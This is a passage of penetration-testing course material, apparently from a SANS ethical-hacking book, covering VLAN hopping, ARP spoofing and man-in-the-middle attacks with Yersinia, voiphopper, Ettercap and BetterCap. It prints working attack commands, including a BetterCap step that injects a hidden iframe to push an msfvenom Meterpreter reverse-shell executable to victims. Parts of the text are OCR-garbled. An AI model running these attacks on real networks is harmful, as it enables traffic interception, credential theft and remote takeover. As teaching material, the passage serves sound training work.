
TIP 

After delivering the 
DTP message, press 
5 to open a status 
dialog. 
Here, the status 
ind icates 
TRUNK/AUTO, 
revealing a 
successful attack. 
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DTP VLAN Attack 2 
After delivering the DTP attack, press 5 to open a status dialog for the DTP port to obtain details about the 
port configuration. In the example on this slide, Yersinia indicates that the port status is "84 TRUNK/AUTO", 
telling us the attack was successful. 
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VLAN Hopping - 802. 1 Q Trunk 

# vconfig add eth0 1 0 0  
Added VLAN with VID = =  1 0 0  t o  I F  - : eth0 : ­
# vconfig add eth0 2 0 0  
Added VLAN with VID == 2 0 0  to I F  - : eth0 : ­
# dhclient eth0 . 100  
DHCPOFFER of 1 0 . 1 0 . 1 0 0 . 3  from 1 0 . 1 0 . 1 0 0 . 1  
bound to 1 0 . 1 0 . 1 0 0 . 3  - - renewal in 3 9 3 7 7  seconds . 
# dhclient eth0 . 2 0 0  
DHCPOFFER of 1 0 . 1 0 . 2 0 0 . 3  from 1 0 . 1 0 . 2 0 0 . 1  
bound to 1 0 . 1 0 . 2 0 0 . 3  - - renewal in  3 9 0 2 2  seconds . 
# nmap -sS  -F -p 10 . 10 . 2 0 0 . 1  

Interest ing ports on 1 0 . 1 0 . 2 0 0 . 1 :  
Not shown : 9 8  c losed ports 
PORT STATE SERVICE 
2 3 /tcp open telnet 
8 0 / tcp open http 
MAC Address : 0 0 : 1 9 : 0 6 : 93 : DC : 42 ( Ci sco Systems ) 
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VLAN Hopping - 802.IQ Trunk 
The examples on this slide demonstrate how an attacker can leverage access to a DTP port to hop through 
multiple VLANs on a connected interface. The virtual interfaces can be used indirectly with Linux bridging 
(where traffic destined for the I 0. 1 0.200.0/24 network is naturally bridged through that connected interface, 
such as in the Nmap example shown on this slide). Additional routes will require manual configuration, where 
we can manually specify routes through interfaces by choosing one virtual interface or another as the default 
gateway, as shown below (where all traffic will be routed through the eth0.200 interface, unless another 
interface exists that is directly connected to the target network): 

# route add - net  0 . 0 . 0 . 0 / 0  eth0 . 2 0 0  
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Voice VLAN Hopping 

• Cisco switches accommodate a special "voice 
VLAN" feature 
• VoIP phone plugs into switch, PC plugs into VoIP 

phone 
• Switch must trunk two VLAN s 

• Attacker can identify VLAN used for voice 
through CDP 
traffic 

• Despite port configured as access, attacker can 
create 802.1Q trunk interface FastEtherne t 0 / 2  

• Access to voice VLAN sw�tchport access vlan 1 0 0  
switchport mode access 
switchport voice vlan 2 0 0  

Switch 

SEC660 I Advanced Pen Testing, Exploit Writing, and Ethical Hacking as 

Voice VLAN Hopping 
Another technique to evaluate when evading the NAC system is the option to perform VLAN hopping, 
particularly in environments where VoIP devices are used to bridge a workstation and a phone over a single 
network cable. Cisco switches support a special configuration mode where a single switch port can be used to 
connect a VoIP phone to a voice VLAN, while a second device can connect to the phone to access a different 
VLAN. The Cisco VoIP phone effectively becomes a 2-port switch, allowing the customer to retain their 
existing switch density while accommodating the VoIP phones on their network. To bridge the traffic from the 
workstation on a different V LAN than the phone, however, the VoIP phone must become a trunk port, if only 
a limited one, to differentiate between its own traffic and the traffic of the downstream device. 

The Cisco configuration shown on this slide is an example of how a voice VLAN is configured, using the 
configuration directive "switchport voice vlan 200", with a second configuration directive "switchport access 
vlan 1 00"  to support the PC connecting through the phone. Despite that the switchport is configured as access, 
an attacker can manipulate the switch when directly connected to access the voice VLAN. 
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Cisco Discovery Protocol 
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Cisco Discovery Protocol 
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The traffic shown on this slide is from a Cisco Discovery Protocol (CDP) packet, filtered using the Wireshark 
"cdp" filter directive. Note that in the two packets shown on this slide, the packet interval is 60 seconds, the 
default timer interval for Cisco switches to send CDP packets. 

Inspecting the payload of the CDP packet reveals several useful configuration details about the network, 
including: 

Device ID: The hostname of the Cisco switch. 
• Software Version: The version of IOS used. 

Platform: The switch model number. 
Port ID: The port designation that the station is connected to. 
Native VLAN : The native VLAN used by the workstation. This is the intended port for use by the 
workstation connected to the phone, or to the switch directly. 
VoIP VLAN Reply: The voice VLAN intended for use by Cisco VoIP devices. 

By inspecting the CDP packet, we can identify the native VLAN number and the VoIP VLAN number, which 
is sufficient information to allow an attacker to hop to a different VLAN. 
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Accessing Cisco VolP VLAN 

• Use the vconfig utility to add an 802.1Q VLAN to 
the local interface 

• Lack of CDP cloaks vulnerability with obscurity 
• Attacker must learn VLAN # 

• Maximum 4094 VLANs; can be brute-forced 
# dhclient e th0 
bound to 10 . 1 0 . 1 0 . 11 5  
# modprobe 8 0 2 1q 
# vconfig add eth0 2 0 0  

renewal i n  3 93 05 seconds . 

Added VLAN with VID ==  2 0 0  to I F  - : eth0 : -
# dhclient e th0 . 2 0 0  
bound to 10 . 1 0 . 2 0 0 . 2  - - renewal in 3 9 1 3 3  seconds . 
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Accessing Cisco VoIP VLAN 
Returning to the vconfig utility, knowledge of the VoIP VLAN number is all that is necessary to create a new 
sub-interface that sends 802. 1 Q encapsulated traffic to the switch, mirroring the behavior of the Cisco VoIP 
phone when used to connect a downstream PC. By creating the sub-interface, an attacker can access the voice 
VLAN with an opportunity to manipulate other VoIP phones used in the organization. 

Note that we relied on the presence of CDP traffic to identify the voice VLAN. It is possible to configure a 
Cisco VoIP phone to apply an 802. 1 Q header on all PC traffic based on a static VLAN designation, obviating 
the need for the CDP protocol. This represents a security-through-obscurity obstacle for an attacker. Since 
there are only 4094 possible VLAN numbers, the attacker can simply brute-force the voice VLAN number 
using a shell script with the vconfig utility, watching for any network traffic on the created interface for 
several seconds before destroying the interface. Further, this process could be implemented in parallel, testing 
multiple VLAN "guesses" at the same time, only limited by the CPU and memory of the attacker's system. 
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voiphopper 

• Automates voice VLAN hopping attack 
• Listens for CDP to extract voice VLAN# 
• Creates interface, requests DHCP address 

• Includes attack options for Cisco, Avaya, and Nortel switches 

# . /voiphopper - c  O - i  ethO 
VoI P  Hopper 2 . 0 0 Running in CDP Sni f f  Mode 
Capturing CDP Packets on ethO 
Captured IEEE 8 0 2 . 3 ,  CDP Packet of 3 7 1  bytes 
Discovered VoIP  VLAN : 2 0 0  
Added VLAN 2 0 0  to Interface eth0 

Current MAC : 0 0 : 1 0 : c6 : ce : f2 : ab 
Attempt ing dhcp request for new interface eth0 . 2 0 0  
VoI P  Hopper dhcp cl ient : received I P  address for eth0 . 2 0 0 : 1 0 . 1 0 . 2 0 0 . 2  

88 

voiphopper 

SEC660 I Advanced Pen Testing, Exploit Writing, and Ethical Hacking 88 

The tool voiphopper automates the process of watching for CDP traffic to identify the voice VLAN number, 
creating the necessary sub-interface, and launches a DHCP client to obtain an IP address. Available at 
http://voiphopper.sf.net, voiphopper requires that we specify the switch architecture with the "-c" argument 
and the connected interface name with "-i". Voiphopper also supports a similar attach technique against other 
switch vendors as well, including Avaya and Nortel devices. 

To use voiphopper, you must install the DHCP client utility "dhclient". Voiphopper will not attempt to create 
the VLAN sub-interface if the dhclient utility is missing. 
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ARP Spoofing 

I nternal Network 

ARP Spoofing 

Default 
Gateway 

I .  Attacker enumerates hosts on the network 
(multiple ARP requests or other d iscovery 
techniques) 

2. Attacker sends a LAN workstation an ARP 
reply indicating he is the default gateway 

3 .  Attacker sends the default gateway an ARP 
reply ind icating he is the LAN workstation 

4. All traffic originating from the workstation 
or upstream networks bridged through the 
default gateway are del ivered to the 
attacker, who forwards packet after 
inspection/logging 
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ARP spoofing is a common technique used to manipulate a switched network, allowing an attacker to 
eavesdrop on all or selected LAN activity by establ ishing a MITM attack. With access to the LAN, the 
attacker enumerates hosts on the network to learn ARP address and IP address information. This is commonly 
done with a flood of ARP request messages, but can also be done with ICMP Echo Request messages, or by 
passively observing broadcast or multicast information from clients. 

Once the attacker has a list of LAN devices, it begins issuing ARP reply messages to the uplink connection of 
the MITM position, commonly the default gateway. Each ARP reply message is faked, disclosing to the 
default gateway that the attacker's MAC address is the address that should be associated with the network node 
being impersonated. 

After manipulating the default gateway, the attacker repeats the process in reverse, this time telling each 
network node that he is the default gateway. Once complete, all the network traffic will bridge to the attacker, 
regardless of its final destination. After inspecting and possibly manipulating the traffic, the attacker will 
forward the frames to the legitimate device. Periodically, the attacker will re-issue the ARP response 
advertisements to maintain the MITM attack, overriding any legitimate ARP activity from legitimate hosts. 
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ARP Spoofing Example 

0 

122 19.$1 lU4 00 : 16 :8b:ad: 2a : c 7  AAJ> 172 . 16.0.) i< at OO: l3:&b:•d:2o:<7 

121 19.sn; l 00: 18·8 ·•d·2•:c1 00: 14:bt·Ot:Ol: 30 AA/> 
126 19.833778 00: 18: 8b: .<l:2.:c7 0010f>:dc:4Z:18:2• ARP 
IU 19.63)826 00: lS :  8b:•d: 1•:c7 00:U:5c :7e:70:cl ARP 
1i8 i?.8 .. 069 OO; l S : 8b:&d: 2•:cl 00:06:d<::H:18.l-i AW 
129 I?. 441 1 7  oo: 16 :  3b: •d: 7o:c1 00:H: rJ:Ol:d:42 ARP 
530 Jg.8\4441 00: l8 : 8b:lld: 2a:t7 00:06:dc:O: U:2� ARP 
SlJ 19.81!491 O<l ; l8: 6b:•dt7•;c7 0U: ld:bA:d5:c3:l0 ARP 
U2 H.86-18!9 00'1&: &b:•d:7 :c7 00 : 06:d�.41: U : 2� A.RP 

171. 16.0. 111  15 at 00: 18:Sb:ad:2a:c1 
172. 16 .0 , 113 i s  -tt 00:18. Sb;ad:2a.c7 
172 . 16,0.106 is at OO:l6 : Bb:ad:2a:c7 
!.il . 16.0. 111 i s  a1: ()0: H L Bb : ad:2?.:c! 
lil , ]6 . 0. 106 1 5  at 00: 18: 8b.ad:2a:c7 
li2.16 , 0. l01 i s  at 00: 18:Bb : ad:).a:c! 
172.16. 0.106 lS at 00: 18!8b � a..d : 2a.:c7 
172.16. 0. 3- i s  at 00: 1B: 8b:ack2a :c7 

Frame 5 3 4 :  42 byt�s un "'i re (H6 bits) , 42 byte-s L.tptured (336 Ld ts) 
E tt1ernet 11 , Src: : 00 : li : 8b : a d : 2a ; c7 (00 : 18 : 8h: ad: 2a : c7) , Ds t :  00 : 0 6 : dc : '1 2 : 18 : 24 (00: ()6 : dc: : .1 2 : 18 : 2-t )  
Adctr-ess Resolution P rotocol (reply) 

Hardha.f',e ty�e: Ether,iet (0'XOODl} 
P r-otocol type: JP (0�ilRO0) 
Hi:H"tlwi!fe !. i Le: 6 
Protqcol size: 4 
On code: rep 1 y (QxUOOl) 
[r.s. gr"atuitous: F=als�) 
SeorlPr MAC ;uicJrt>..,$:  00 · 1 R : $tb: �d;)a:c7 (00:18:Ab:;t..d:la:c?) 
St>fldE!r' lP addr'e� .. : t!?. . 16.0.1  ( tn.16.0.1) 
Target �NC addres s :  00 :0�: dc:42;18:/4 (00: 06 :dc :42 : 18:24) 
Target IP address: 172 . 16 . 0. 106 (172. 16 .0 .106) 

I . Attacker says 
" 1 72. 1 6.0. 1 .  I am 
the MAC for 
1 72. 1 6.0. 1 1 1 " 

2. Attacker says 
" 1 72. 1 6.0. 1 1 1 , 1  
am the MAC for 
1 72. 1 6.0. 1 "  
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ARP Spoofing Example 
The Wireshark capture shown in this slide was taken during an ARP spoofing attack. The two marked frames 
(frames 523 and 524) summarize the ARP response activity from the attacker at MAC address 
00: 1 8:8b:ad:2a:c7. 

Both frames are sent by the attacker, first telling the default gateway (at 00:23 :4d:da :22:23) that he is the node 
at 1 72. 1 6.0. 1 1 1 . Next, the attacker tel Is the host at 1 72. 1 6.0. 1 1 1  (00: 1 f:f3 :0 1  :e3 :42) that he is the default 
gateway at 1 72. 1 6.0. 1 .  
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Victim ARP Table 

In t erface :  172 . 16 . 0 . 113 -- - 0xc 
Int rne i Address Physical Address 
1 72 . 16 . 0 . 1  00-19-7d-1b-03-fa 
172 . 16 . 0 . 3  00-19-7d-1 b-03-fa 
72 . 16 . 0 . 101 00-19-7d-lb-03-fa 
72 . 16 . 0 . 103 00-19-7e-89-fb-a7 

1 72 . 16 . 0 . 106 00-19-7d-lb-03-fa 
172 . 1 6 . 0 . 111 00-19-7d-lb-03-fa 
1 72 16 . 0 . 112 00-19-7d-lb-03-fa 
172 . 16 . 0 . lll 00-19-7d-lb-03-fa 
1 72 . 1 6 . 0 . 115 00-19-7d-1b-03-fa 
172 . 6 . 0 . 117 00-19-7d-lb-03-fa 
172 . 16 . 0 . 255 f f-ff-ff-ff-ff-ff 
22& . 0 . 0 . 22 01-00-Sc-00-00-16 
?24 . 0 . 0 . 251 01-00-Se-00-00-fb 
?�l . 0 . 0 . 25?. 01-00-5e-00-00-fc 
224 . 0 . 0 . 253 01-00-Se-00-00-fd 
239 . 255 . 255 . 2S0 01-00-5e-7f-ff-fa 
255 . 25� . 255 . 255 ff ff ff ff ff f f  

Type 
dynamic 
dynamic 
dvnami c  
dynam i c  
dynamic 
dynamic  
dynamic  
dynami c  
dynamic 
dynElmic 
siat i c  
stat ic  
static 
st,d ic 
sta t i c  
stat ic  
stat ic  

SEC660 I Advanced Pen Testing, Exploit Writing. and Ethical Hacking 94 

Victim ARP Table 
This slide demonstrates what the ARP table will look like on a victim system during an ARP poisoning attack. 
For several nodes on the 1 72. 1 6.0.0/24 network, the IP address resolves to the physical address 
00: 1 9 :7d: I b:03 :fa. This MAC address is the attacker, manipulating the network to create a MITM attack. 
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Ettercap Options 

- T  
Launch the text - only interface 

-M [METHOD : ARGS] 
Become MITM using the speci fied technique 

-w [LIBPCAP FILE] 
Log captured pcap data 

- z  

Do not perform an initial  ARP scan o f  the network 

- F  [ FILTER FILE] 
Execute the specif ied f i l ter 

-d 

Perform DNS name resolut ion 

-m [TEXT FILE] 
Log messages inc luding credent ial information to a f i l e  
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Ettercap Options 
Ettercap is an advanced network manipulation and password sniffing tool. The syntax of Ettercap is to specify 
one or more options following the executable, followed by two target designators representing the first and 
second group of devices that Ettercap should become MITM for. Ettercap supports multiple interfaces like 
Yersinia, though we'll focus on the command-line interface for maximum flexibility in using this tool. 

Some commonly used options for Ettercap are as follows: 

• -T - Launch Ettercap with the text-only interface 
• -M [METHOD:ARGS] - Launch Ettercap and become MITM using the specified method and 

arguments 
• -w [LIBPCAP FILE] - Log all packets bridged through Ettercap to the specified file in libpcap format 
• -z - By default, Ettercap performs a scan of all hosts in the current segment when it starts; the "-z" 

argument suppresses this behavior, instead relying on multicast and broadcast traffic to discover other 
network nodes 

• -F [FILTER FILE] - Execute the specified tilter file to manipulate traffic bridged through Ettercap 
• -d - Perform DNS name resolution for all hosts; this is off by default 
• -m [TEXT FILE] - Log all messages generated by Ettercap to the specified file, including usernames 

and passwords observed on the network 

Ettercap is written by Alberto Ornaghi (ALoR), Marco Valleri (NaGA), Emilio Escobar (exfil), and Eric 
Milam (JOhnnyBrav0). 
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Ettercap Target Designation 

# ettercap [OPTIONS ] [TARGETl ]  [TARGET2 ] 

• Target designation is MAC/IPv4(s)/Port(s)/IPv6(s) 
• Blank fields indicate all : "// /" 

• MAC addresses specified in colon-separated bytes 

• Multiple IP addresses can be specified with byte 
ranges, byte lists or address lists 

• 10 . 10 .10. 1-252,254;10 . 10 . 10.10 

• Ports ranges specified with dash or comma 

Ettercap Target Designation 
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When specifying the targets for an Ettercap MITM attack, the syntax for each target block is [MAC] / [ I Pv4 
Addresses] / [PORTS] / [ I Pv6 Addresses ]  where any or all the parameters can be blank (e.g. "///"). 
The first and second target designations allow us to select one or more hosts to filter traffic coming from one 
or more hosts to one or more hosts (bi-directional manipulation). 

When specifying multiple hosts by MAC addresses, separate each colon-delimited address with a comma or a 
semi-colon. Multiple IP addresses, however, use a dash to specify a range within a single octet; separate 
multiple IP addresses with a dash. Port ranges work similarly to 1Pv4 and 1Pv6 address ranges, using a comma 
to specify multiple ports while a dash specifies a range of ports. 
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Simple Ettercap Usage 

# ettercap -T -q -M arp : remote /172 . 16 . 0 . 1 - 2 5 4 / /  / 1 7 2 . 16 . 0 . 1 - 2 54 / /  
ettercap 0 . 8 . 2 copyright 2 0 0 1 - 2 0 1 5  Ettercap Development Team TIP 
Listening on : 

e th0 - >  0 0 : 0C : 2 9 : 1D : E2 : 4 1  
1 7 2 . 1 6 . 0 . 1 7 6 / 2 5 5 . 2 55 . 2 5 5 . 0  
fe8 0 : : 2 0c : 2 9ff : feld : e 2 4 1 / 64 

Ettercap is interactive, 
press "h" to access 
options after loading 

1 6  hosts added to the hosts l ist . . .  

GROUP 1 : ANY ( a l l  the host s  in the l i s t )  

GROUP 2 : ANY ( a l l  the hosts i n  the l i s t )  
Start ing Uni fied snif f ing . . .  

Text only Interface activated . . .  
Hit ' h '  for inl ine help 

SNMP : 1 0 . 1 0 . 1 0 . 4 : 16 1  - >  COMMUNITY : public  INFO : SNMP vl  

Press "q" to quit 
Ettercap. DO NOT 
S IGKILL Ettercap! 
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Simple Ettercap Usage 
Ettercap suppotis several methods for implementing MITM attacks, including ARP spoofing. As root, 
invoking Ettercap with the "-T" argument starts Ettercap in text-mode. Adding the "-q" argument tells 
Ettercap to subdue its output (quiet mode). The "-M" argument tells Ettercap which MITM technique to use; 
supplying the method "arp:remote" instructs Ettercap to perform ARP spoofing, allowing the attacker to 
eavesdrop and manipulate both LAN and remote network traffic (alternatively, "arp:oneway" will allow the 
attacker to intercept traffic from the left target to the right target). Finally, the two target designations 
(" / 1 7 2  . 1 6  . o . 1 - 2 5 4 / / / 1 7 2  . 16  . o . 1 - 2 5 4 / / ") tell Ettercap to become MITM for all nodes on the 
local network ( 1 72. 1 6.0.0/24). 

At startup, Ettercap will enumerate all the nodes on the network with ARP response packets, then will 
advertise to all discovered hosts that it is the default gateway and to the default gateway that it is all hosts, 
establishing the MITM attack. While periodically maintaining the MITM attack following any legitimate ARP 
messages that conflict with the manipulated network, Ettercap will perform password sniffing, displaying the 
output on the screen (as in the case of the SNMP community string, shown in this slide). 

While Ettercap is running, we can change settings or implement additional attacks interactively. Pressing "h" 
while running Ettercap will display a help menu, describing the context-sensitive navigation options. 

It is important to note that you should never issue a SIGKILL message to Ettercap (e.g. "killall -9 ettercap" or 
"kill -9 'pidof ettercap' "). Press "q" to quit Ettercap, which will cause it to re-ARP all the nodes on the 
network with the correct MAC address information, taking it out of the loop as the MITM. Failure to quit 
Ettercap gracefully will likely result in a DoS situation, since the attacker's system will no longer bridge 
packets to the correct targets. 
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Ettercap and VMware Bug 

• Users have reported the inability to use ARP 
spoofing in a VM guest 
• Others have great success 

• Problem seems to be related to VMware network 
bridging stack 

• Best to rely on native OS for advanced network 
attacks 

Ettercap and VMware Bug 
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ln testing, some users have reported that they are unable to successfully complete an ARP spoofing Man-in­
the-Middle attack using VMware with a Linux guest OS virtual machine running Ettercap. While inconsistent, 
the problem appears to be related to how VMware implements the network bridging stack with some wired 
network cards. 

In general, it's a good idea to leverage a native OS for advanced network attacks since you will eliminate the 
overhead of the virtualization layer and achieve greater compatibility with many attack tools. If you're not 
ready to replace your native OS environment with Linux, consider using a bootable USB drive for the duration 
of the attack that requires a tool such as Ettercap, or use a USB Ethernet interface that can be accessed directly 
in the Linux environment without the VMware networking stack. 
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Ettercap Filters 

• Simple language to describe traffic to match 

• Replace arbitrary content as you see fit 
• Plaintext protocols, or traffic decrypted by Ettercap 

• Script source compiled with etterfilter 
• etterfilter myfilter.filter -o myfilter.ef 

• Load filter with Ettercap using " -F myfilter .ef' 

• Full syntax documented in "man etterfilter" 

Ettercap Filters 
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Ettercap includes a simple language, which is used to build Ettercap filters, describing the traffic you want to 
match, and substituting it with any content you see fit. This feature is primarily intended for use with plaintext 
protocols, but it can also be used with encrypted protocols that are decrypted by Ettercap (such as SSHvl  and 
SSL traffic). 

Scripts in source form are compiled or encoded into a binary form that can be passed to Ettercap using the 
etterfilter utility, typically with a ".et'' filename extension. When running Ettercap, we can specify the filter to 
use with the " - F  [FILTERFILE] " argument. 

Next we'll look at the syntax of an Ettercap filter file; for complete documentation, see the manual page for the 
etterfilter command ("man et terf i 1 ter"). 

100 © 201 8, Joshua Wright 



) 

) 

) 

.) 

HTML IMG Replacement 

# Watch outbound HTTP request s , replacing "Accept -Encoding"  l ine to 
# prevent the responding server from gzip ' ing response 
if ( ip . proto ==  TCP && tcp . dst == 8 0 )  { 

} 

i f  ( search (DATA . data ,  "Accept - Encoding " ) )  { 
replace ( "Accept - Encoding" , "Accept -Rubbish ! " ) ;  
msg ( " zapped Accept -Encoding ! \n " ) ; 

# For HTTP responses ,  replace all  " img src= " tags with our own tag ,  
# referencing a f i le on our server instead . Thi s  i s  case - sens i t ive ,  
# so addit ional rules are needed for " IMG SRC " , " img alt= " , etc . 
i f  ( ip . proto == TCP && tcp . src == 8 0 )  { 

replace ( " img src= " ,  " img src= \ " http : / /www . wi l lhackforsushi . com/ img/whfs ­
sign . j pg\ " " ) ; 
} 
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HTML IMG Replacement 
The script on this slide is a sample Ettercap filter, designed to implement two filter actions. Comments are 
added for clarity, following the pound ("#") symbol. 

First, the filter starts an IF  clause, matching on traffic where the "ip.proto" field is TCP and the "tsp.dst" port is  
80.  When this IF  statement matches, the script continues with a second IF statement, this time searching 
through the data payload "DATA.data" for the string "Accept-Encoding". If this second I F  statement matches, 
then the script modifies the data payload string "Accept-Encoding" to "Accept-Rubbish! ", effectively 
preventing the outbound web browser from telling the HTTP server that it accepts any content other than 
text/html. With this technique, the attacker has a greater opportunity to manipulate plaintext data from the web 
server, avoiding alternate delivery mechanisms for the content such as compressing the data. After replacing 
the specified content, the filter logs a message on the Ettercap console, "zapped Accept-Encoding!\n". 

Next, a second filter is also specified in this script, this time searching for similar TCP traffic, this time 
originating from TCP source port 80 ("tcp.src"). When this condition matches, Ettercap will replace the 
content "img src=" with "img src=\"http://www.willhackforsushi.com/images/whfs-sign.jpg\"", effectively 
replacing all image references with the logo from WillHackForSushi.com. Since the URL needs to embed 
double quotes, the quotes themselves need to be quoted using a leading backslash, as shown. 

To compile this filter for use with Ettercap, use the etterfilter utility, as shown below (the output has been 
trimmed for space): 
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Leveraging Ettercap Filters 

• Using a MITM technique, capture data and evaluate 
manipulation opportunities 
• Exploit delivery with malformed files 

• Credential capture with redirection 

• Manipulating POST and GET content 

• Build a filter, keeping it simple 
• Practice your filter on a local target when possible 

• Limit scope with target designation by MAC or IP address 

• Capture and evaluate attack to determine success 
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Leveraging Ettercap Filters 
With a little creativity, Ettercap filters can be extremely useful in a penetration test. After becoming M ITM, 
start a packet capture to log all data (or launch Ettercap with the "-w [PCAPFILE]" argument). Evaluate the 
captured data on the network to identify the protocols in use and identify potential attack avenues, such as the 
methods we looked at in the previous slides, as well as other malformed file exploits, credential capture, or 
redirecting authentication and manipulating HTTP POST and GET requests. 

When building an Ettercap filter, try to keep the filter itself simple. Always practice the use of your filter on a 
lab network locally before attempting to execute it against a live network. If the filter is too complex and the 
network is busy, Ettercap will drop packets, which will have a significant throughput impact on end-users. 

Whenever possible, limit the scope of your attack by specifying target destination MAC or IP addresses. 
While it is simple to include all users in the Ettercap MITM attack, it may violate the terms of your scope for 
the assessment if other workstations are attacked (such as consultant machines, or systems specifically 
excluded from the scope). Also, limiting the number of clients in the attack will reduce the amount of traffic 
that must be handled by Ettercap, reducing the load on the attacker's CPU. 

When executing an attack using Ettercap, get in the habit of adding the "-w filename.pcap" option, replacing 
filename with a description of your attack. This will cause Ettercap to log the libpcap traffic traversing the 
system, giving you an opportunity to evaluate the attack to determine if it was successful, or otherwise 
evaluate the impact of a failed exploit. 
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BetterCap Examples 

Simple local network packet sniffer 

# bet tercap - L  

Sniff local and upstream network, save packets to libpcap file applying BPF filter 

# bet tercap - L  - - sni f f er - output out . pcap - - sn i f f er - f i l ter " tcp and not port 4 4 3 " 

Sniff local and upstream network. display packets matching regular expression 

# bettercap - - cus tom- parser •pas s •  

Sniffer and send HTTP traffic to BetterCap's proxy server, logging requests/responses 

# bet tercap - - proxy -T 1 0 . 1 0 . 1 0 . 1 0 1  

Use the text file to spoof DNS responses, redirecting one victim to attacker HTTP server 

# echo " 1 0 . 1 0 . 1 0 . 2  i tunes . apple . com• >dns - spoo f . txt 
# bettercap - -proxy -T 1 0 . 1 0 . 1 0 . 1 0 1  - - dns dns - spoo f . txt 

BetterCap Examples 
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This page shows several examples of invoking BetterCap, first as a LAN packet sniffer, and then saving the 
packets to a capture file while adding a Berkeley Packet Filter (BPF) to exclude TCP traffic on port 443. 

BetterCap will decode and display all received payload data unless a custom parser expression is specified. 
The parser expression syntax includes support for regular expressions, making it possible to match content in a 
case insensitive fashion, or any other complex regular expression conditions. In the simple example on this 
page, the custom parser will display only packet contents that include the string "pass" anywhere in the 
decoded content. 

BetterCap's proxy server can be used to intercept and decode HTTP and HTTPS traffic for a single host using 
the --proxy and -T arguments. Further, it is easy to intercept traffic for a specific website using the DNS spoof 
module, resolving arbitrary hostnames to specified IP addresses as shown. 
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BetterCap lnjectJS Executable Delivery 

root@kal i : ~# i fconfig eth0 I grep netmask 
inet 1 7 2 . 16 . 0 . 1 9 5  netmask 2 5 5 . 2 5 5 . 2 5 5 . 0  broadcast 1 7 2 . 16 . 0 . 2 5 5  

root@kal i : ~# ms fvenom -p windows/meterpreter/reverse_tcp - f  exe lhost=l72 . 16 . 0 . 19 5  
lport= 8 0 8 0  - o  setup . exe 

Saved as : setup . exe 
root@ka l i : ~# msfconsole -qx "use exploit/multi /handler ; set PAYLOAD 
windows/meterpreter/reverse_tcp; set LPORT 8 0 8 0 ;  set LHOST 0 . 0 . 0 . 0 ; exploi t "  

[ * ]  Start ing the payload handler . . .  

root@kal i : ~# ls setup . exe 
setup . exe 
root@kal i : ~# bettercap -T 172 . 1 6 . 0 . 18 5  - -proxy-module inj ectj s - -no - sslstrip \ 

- -httpd - -httpd-port 8 0 8 1  - -httpd-path . \ 
- - j s - data ' function onl ( )  { v�r i frame = document . createElement ( " i frame " ) ;  

i frame . s tyle . display = " none " ;  i f rame . src = "http : / / 1 7 2 . 16 . 0 . 195 : 8 08 1 / setup . exe " ; 
document . body . appendChild ( i frame ) ; } window . onload = onl ; ' 
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BetterCap InjectJS Executable Delivery 
In this example, we prepare our attack environment by building a Windows executable to deliver the 
Metasploit Meterpreter reverse_ tcp exploit, connecting back to the attacker's system at 1 72. 1 6.0. 1 95 on 
TCP port 8080. Once the executable is created and saved as setup.exe, we start the Metasploit reverse_ tcp 
Meterpreter listener. 

With the executable prepared and the attacker system ready to accept the reverse TCP connection, we start 
BetterCap in a new window to implement the MITM attack. Using the injectjs HTTP proxy module, we 
disable the sslstrip attack, then turn on the local web server on TCP/808 1 to host the setup.exe file. To deliver 
the exe file to the victim, we specify custom JavaScript code, creating an invisible iframe in a function that is 
triggered after the requested page loads. 

Next, let's look at the victim perspective when this attack is underway. 
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Exercise: BetterCap M ITM (2) 

• STOP! Answers for the BetterCap MITM attack 
exercise follow 

• Proceed only after you have exhausted your 
options for completion on your own 
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Exercise: BetterCap MITM (2) 
Answers to the lab exercise follow; proceed no further unless you have exhausted your options for completing 
the exercise on your own. 
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Exercise: BetterCap M ITM (5) 

ll'il h<' 

Home 
7z Format 
LZMA SOK  
EJoWnload 
FAQ 
support 
Links 

English 
Cbf.n�� .�rnpJ. 
Chint.�g_Ir.� 
��!U.Q 
Fr:enct, 
Gam"n 

lhal 
"1l:1Dl!mlH 

7-Zip 

/-Zip Is a fHe �Jchlver \',(Ith a h1 
• Yoo'vl! b,l';l!'Yl pwned,� 

Download 7-Zip u;.o,i (2.016 

Link Type 

� .�Xe 

llmxWllild exe 

Wind 

32-bit 

64-bit 

7-Zip is: open source conw,,r9 
code is. under a mixed license:· 
lie�. 

You can use 7-Zii> oo ,6fly C'nmp 

X 

need to register or p()y for 7 .. zf,�--------------- �  

The main features of 7-Zip 

• Hlgh compression 1atio in /2 format with UMA and LZMA2 compression 
• Supported formats� 

Packing / unpacking: 7z, xz, BZ[P2, GZ[P, TAR, ZIP and WIM 

.1;41. The unRAR 
Ion here: {Jr 

• You don't 

0 

' .  

1 1/p u, 11'1 7Q l (.- I Q  04 

X 

... 

SEC660 I Advanced Pen Testing, Exploit Writing, and Ethical Hacking t 36 

Exercise: BetterCap MITM (5) 
Having run the downloaded file, you will be greeted with a picture of Ryan Seacrest. 
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Using a BetterCap Proxy Module 

# bettercap -T 172 . 16 . 0 . 18 5  - -proxy-module logweb . rb - -no- ss lstrip - -proxylog-verbose 

[ I ]  
[ I ]  
[ I ]  
[ I ]  
[ I ]  
[ I ]  

Found NetBIOS name ' DESKTOP- JR78RLP ' for address  1 72 . 1 6 . 0 . 1 8 5  
[ '  . , , · ]  1 72 . 16 . 0 . 1 95  : 0 0 : 0C : 2 9 : 96 : BC : 0 8 / ethO ( VMware ) 
[, " ' "] 1 72 . 1 6 . 0 . 1  : 4 8 : 5D : 3 6 : 0 8 : 6 8 : DA ( Veri zon ) 
[ ;- 1 ,,; J Proxy start ing on 1 72 . 1 6 . 0 . 1 9 5 : 8 0 8 0  . . .  
[ " · : · • · ]  1 72 . 16 . 0 . 1 8 5  : 0 0 : 0C : 2 9 : 84 : 8B : BD / DESKTOP - JR78RLP ( VMware ) 

[ I ]  You can include private functions here 
[ I ]  And log information to the console 
[ I ]  
[ I ]  Use variables like request . host , request . headers , request . path 
[ I ]  Request Host = o . aol cdn . com 
[ I ]  Request Path = 
/dims 5 / amp : 744 5 2 2 fab8 0ba8 5b52 1 e 0 0eaa 9 8 8 1 5 5 7a6fd7cb3 /t : 64 0 , 4 2 0 /q : 8 0 / ?url=http%3A%2F%2Fdlug­
assets . grvcdn . com%2Ffb%2 F8b% 2 F 0 6 % 2 F 0 1 % 2 Fe4%2Fdf%2 Fc 1 % 2 F 6 0 %2 Fcc%2F10%2F2 5 %2Ffe%2F2d%2F54 %2 F  
f 0% 2 F9 1 - 2 6 2 8 8 7 5 0 3 5 8 0a0d91de47a2 . 9 6 9 9 2 4 7 3 . j pg 
